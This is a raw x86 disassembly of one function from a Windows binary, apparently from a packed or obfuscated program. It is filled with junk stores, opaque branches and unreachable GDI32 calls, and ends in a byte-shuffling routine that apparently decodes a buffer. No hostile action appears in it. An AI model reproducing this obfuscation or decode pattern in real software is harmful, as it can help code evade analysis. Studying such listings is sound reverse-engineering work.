mov dword [ebp + eax*4 - 0x84], 0x3342eb9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10050fd3
mov dword [ebp - 0x1c], ebx
jmp 0x1005113f
mov dword [ebp - 0x30], 0xb09b37d0
mov dword [ebp - 0x28], 0xf4e55b65
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x24], 0x83a09977
mov dword [ebp - 0x14], ebx
jmp 0x10051024
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x194], 0xd5eb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10051013
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x84], ebx
jne 0x1005112e
mov eax, dword [ebp - 0x1c]
mov ecx, 0x4d25
mov eax, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x28]
sub ecx, eax
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setge dl
sub edx, dword [ebp - 0x1c]
jne 0x1005105d
cmp dword [ebp - 0x1c], ebx
je 0x10051067
cmp dword [ebp - 0x1c], ebx
je 0x10051067
xor ecx, ecx
inc ecx
jmp 0x10051069
mov ecx, ebx
mov eax, dword [ebp - 0x18]
imul eax, ecx
test eax, eax
jne 0x10051076
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x84]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x84], ecx
xor eax, eax
cmp ecx, 0x5f93be41
mov ecx, dword [ebp - 0x30]
setne al
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x84]
cmp dword [ebp - 0x18], ebx
jne 0x100510ba
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
setl dl
imul eax, edx, 0xd9d6
cmp eax, 0xe96f
jle 0x100510e6
cmp dword [ebp - 0x1c], ebx
jne 0x100510e6
mov ecx, ebx
jmp 0x100510e9
xor ecx, ecx
inc ecx
xor eax, eax
cmp ecx, 0xffffffff
setge al
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jne 0x10051109
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x84]
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x40]
cmp eax, ecx
setl dl
imul edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x1c]
jle 0x10051122
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x194]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp eax, 2
setl cl
mov dword [ebp - 0x34], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jle 0x10050ff2
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10051162
push 0x17cd
push 0x1d66
call dword [sym.imp.GDI32.dll_SetStretchBltMode]
mov eax, dword [ebp - 0x38]
add edi, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x38], eax
jmp 0x100507d9
mov edi, dword [edi]
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x40], 0xaebb1bb3
mov dword [ebp - 0x34], 0xfffffffc
mov dword [ebp - 0x14], ebx
jmp 0x1005119b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7c], 0x3342eb9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1005118d
mov dword [ebp - 0x1c], ebx
jmp 0x100512e7
mov dword [ebp - 0x38], 0xb09b37d0
mov dword [ebp - 0x18], 0xf4e55b65
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x24], 0x83a09977
mov dword [ebp - 0x14], ebx
jmp 0x100511db
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x188], 0xd5eb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100511ca
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x7c], ebx
jne 0x100512d6
mov eax, dword [ebp - 0x1c]
mov ecx, 0x4d25
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
sub ecx, eax
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setge dl
sub edx, dword [ebp - 0x1c]
jne 0x10051211
cmp dword [ebp - 0x1c], ebx
je 0x1005121b
cmp dword [ebp - 0x1c], ebx
je 0x1005121b
xor ecx, ecx
inc ecx
jmp 0x1005121d
mov ecx, ebx
mov eax, dword [ebp - 0x2c]
imul eax, ecx
test eax, eax
jne 0x1005122a
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x7c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x7c], ecx
xor eax, eax
cmp ecx, 0x5f93be41
mov ecx, dword [ebp - 0x38]
setne al
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x7c]
cmp dword [ebp - 0x2c], ebx
jne 0x10051265
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
setl dl
imul eax, edx, 0xd9d6
cmp eax, 0xe96f
jle 0x10051291
cmp dword [ebp - 0x1c], ebx
jne 0x10051291
mov ecx, ebx
jmp 0x10051294
xor ecx, ecx
inc ecx
xor eax, eax
cmp ecx, 0xffffffff
setge al
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jne 0x100512b1
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x7c]
mov ecx, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0x40]
cmp eax, ecx
setl dl
imul edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x1c]
jle 0x100512ca
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x188]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp eax, 2
setl cl
mov dword [ebp - 0x34], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jle 0x100511a9
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x1005130a
push 0x17cd
push 0x1d66
call dword [sym.imp.GDI32.dll_SetStretchBltMode]
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x140]
add dword [ebp - 0x28], eax
push 4
call fcn.10024355
mov dword [ebp - 4], 9
mov dword [ebp - 0x34], 0xd94b4b13
mov dword [ebp - 0x34], 0xfffffffb
mov dword [ebp - 0x34], 0xce96b779
mov dword [ebp - 0x18], ebx
jmp 0x1005134d
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x140]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1005133e
xor ecx, ecx
mov dword [ebp - 0x18], ebx
inc ecx
jmp 0x10051369
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x6c], 0xe1e87df2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1005135b
mov dword [ebp - 0x6c], esi
cmp dword [ebp - 0x6c], ebx
jl 0x100513db
push esi
lea ecx, [ebp - 0x104]
call fcn.10024355
mov dword [ebp - 0x34], 0x31d26ec1
mov dword [ebp - 0x34], 0x7858f9c2
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x2c], ebx
jmp 0x100513af
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x104]
mov dword [eax + ecx*4], 0x801fc3ee
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x1005139c
mov eax, dword [ebp - 0x104]
mov dword [eax], ebx
dec dword [ebp - 0x38]
mov eax, dword [ebp - 0x104]
inc dword [eax]
cmp dword [eax], esi
jle 0x100513bc
lea ecx, [ebp - 0x104]
call fcn.100243b7
dec dword [ebp - 0x6c]
jns 0x10051376
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x140]
call fcn.100243b7
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x70], eax
mov eax, 0xe42a43d9
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x1c], ebx
jmp 0x1005144e
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x2c], esi
cmp dword [ebp - 0x2c], ebx
jl 0x1005144b
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10051446
push 0x20bb
push 0x204c
call dword [sym.imp.GDI32.dll_SetMapMode]
dec dword [ebp - 0x2c]
jns 0x1005142d
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff0
jg 0x10051422
push 0xffffffffffffffe2
pop eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jle 0x1005153b
mov dword [ebp - 0x18], 0xaf8b5131
mov dword [ebp - 0x18], ebx
jmp 0x1005151f
mov dword [ebp - 0x38], 0xd0d1d847
mov dword [ebp - 0x34], 0x1fe511bd
mov dword [ebp - 0x38], 0xfffffffc
cmp dword [ebp - 0x1c], ebx
jne 0x10051494
mov dword [ebp - 0x38], ebx
cmp dword [ebp - 0x18], ebx
je 0x1005149b
mov dword [ebp - 0x38], 1
mov eax, dword [ebp - 0x18]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0xb8]
mov eax, dword [ebp - 0xac]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp dword [ebp - 0x38], edx
mov eax, dword [ebp + eax*4 - 0xb8]
setg cl
imul eax, ecx
test eax, eax
jne 0x100514d7
cmp dword [ebp - 0xb0], ebx
jne 0x100514d7
mov ecx, ebx
jmp 0x100514da
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xb8]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xb8]
imul eax, ecx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xb8]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x38], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x10051472
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe2
jg 0x10051463
mov ecx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x4c]
add ecx, esi
cmp dword [ebp - 0x70], 0
jne 0x1005160e
cmp byte [ebp - 0x48], 0
je 0x10051562
cmp dword [ebp - 0x50], 1
jne 0x10051562
mov edx, dword [ebp + 8]
lea eax, [edi + esi*4]
add dword [edx + 8], eax
mov eax, dword [ecx]
add ecx, esi
mov dword [ebp - 0x74], eax
push edi
mov eax, dword [ecx]
add ecx, esi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x28], ecx
call fcn.100570ab
pop ecx
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0xd0]
lea eax, [ebp - 0xe0]
mov dword [ebp - 0xe0], ebx
push eax
push edi
mov dword [ebp - 0xd0], ebx
mov dword [ebp - 0xcc], ebx
mov dword [ebp - 0xc8], ebx
call fcn.10055517
mov ecx, dword [ebp - 0xd0]
mov esi, ebx
test edi, edi
jle 0x100515f8
mov eax, esi
and eax, 0x80000001
jns 0x100515c2
dec eax
or eax, 0xfffffffe
inc eax
neg eax
sbb eax, eax
and eax, dword [ebp - 0x74]
add eax, esi
add eax, dword [ebp - 0x74]
imul eax, dword [ebp - 0x34]
jmp 0x100515d7
lea eax, [edx + 1]
cdq
idiv edi
cmp word [ecx + edx*2], bx
jne 0x100515d4
xor eax, eax
inc eax
mov word [ecx + edx*2], ax
mov eax, dword [ebp - 0x28]
mov al, byte [edx + eax]
mov edx, dword [ebp - 0x38]
mov byte [esi + edx], al
inc esi
cmp esi, edi
jl 0x100515b4
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x38]
mov dword [edx], edi
mov dword [edx + 4], eax
test ecx, ecx
je 0x1005160e
push ecx
call fcn.1005bd07
pop ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret